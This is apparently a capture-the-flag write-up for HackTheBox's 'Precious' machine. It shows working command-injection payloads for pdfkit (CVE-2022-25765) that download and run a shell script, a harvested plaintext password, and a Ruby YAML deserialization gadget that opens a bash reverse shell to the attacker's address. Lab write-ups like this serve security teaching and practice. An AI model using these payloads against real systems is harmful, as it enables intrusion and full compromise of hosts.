HackTheBox - Precious
Writeup for HackTheBox’s Precious machine.
# Nmap 7.92 scan initiated Wed Apr 19 09:13:16 2023 as: nmap -sV -sC -A -Pn -p 22,80 -o nmap_ports -vv -Pn 10.10.11.189
Nmap scan report for 10.10.11.189 (10.10.11.189)
Host is up, received user-set (0.074s latency).
Scanned at 2023-04-19 09:13:16 UTC for 9s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
| 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open http syn-ack nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 19 09:13:25 2023 -- 1 IP address (1 host up) scanned in 9.40 seconds
Nmap scan showed that port 80 and 22 is open, nmap
scan mentioned that it tried to redirect to the precious.htb
, we can add that to the /etc/hosts
file and then visit the site:
It accepts a URL and converts the site/page to PDF, giving the local HTTP Server link, we can see a request is made:
❯ sudo python3 -m http.server 80 --bind 10.10.14.67
[sudo] password for kali:
Serving HTTP on 10.10.14.67 port 80 (http://10.10.14.67:80/) ...
10.10.11.189 - - [19/Apr/2023 09:26:35] "GET / HTTP/1.1" 200 -
It has been converted to the PDF, nothing interesting of any sort.
Downloading it and checking with exiftiool
, we can see the metadata and the PDF was generated using pdfkit v0.8.6
❯ exiftool p7kugw4t30nt655wb3jcrnjpkp8moz41.pdf
ExifTool Version Number : 12.39
File Name : p7kugw4t30nt655wb3jcrnjpkp8moz41.pdf
Directory : .
File Size : 18 KiB
File Modification Date/Time : 2023:04:19 09:26:47+00:00
File Access Date/Time : 2023:04:19 09:26:47+00:00
File Inode Change Date/Time : 2023:04:19 09:26:47+00:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
There is a command injection vulnerability for the same version, we can follow the below guide to exploit it:
Command Injection in pdfkit | CVE-2022-25765 | Snyk
We can exploit the vulnerability by giving a payload to ping our machine:
http ` ping 10.10.14.67`
We can see that ICMP request has been made from the remote machine to our machine, which confirms the command injection.
We can further exploit this to get the RCE by capturing the request in the Burp Suite, then fiddling with the url
parameter and providing different payloads:
POST / HTTP/1.1
Host: precious.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://precious.htb
Connection: close
Referer: http://precious.htb/
Upgrade-Insecure-Requests: 1
url=http://10.10.14.67/?name=%2520%60%20wget%20http://10.10.14.67/shell.sh%20-O%20/tmp/shell.sh%60'
Following two payloads were given to the url
parameter , one of it downloads the [shell.sh](http://shell.sh)
containing the payload for the reverse shell and next one is executing it:
http://10.10.14.67/?name=%20` wget http://10.10.14.67/shell.sh -O /tmp/shell.sh`'
http://10.10.14.67/?name=%2520%60%20b%20/tmp/shell.sh%60'
Doing so, we got reverse shell:
Enumerating the web app folder did not reveal any sensitive information which could be leveraged, moving on, checking the home folder of the ruby
user, we have a .bundle
folder containing config
which had henry
user’s credentials:
-bash-5.1$ cd .bundle
-bash-5.1$ ls
config
-bash-5.1$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
We can now SSH into the machine with the henry
credentials, doing sudo -l
, we can see that we can run /opt/update_dependencies.rb
script as root
user:
-bash-5.1$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Checking for any possible privilege escalation exploit for the particular scenario, I was stumbled on the following post, which mentioned that it reads the data from dependencies.yml
which was in henry
user’s home folder:
-rw-r--r-- 1 henry henry 650 Apr 19 06:15 /home/henry/dependencies.yml
Following the article, I modified the dependencies.yml
and provided a reverse shell payload to the git_set
variable:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.67/443 0>&1'"
method_id: :resolve
Executing the script once dependencies.yml
has been modified:
A connection was made to the our listener, giving us a shell as root
user: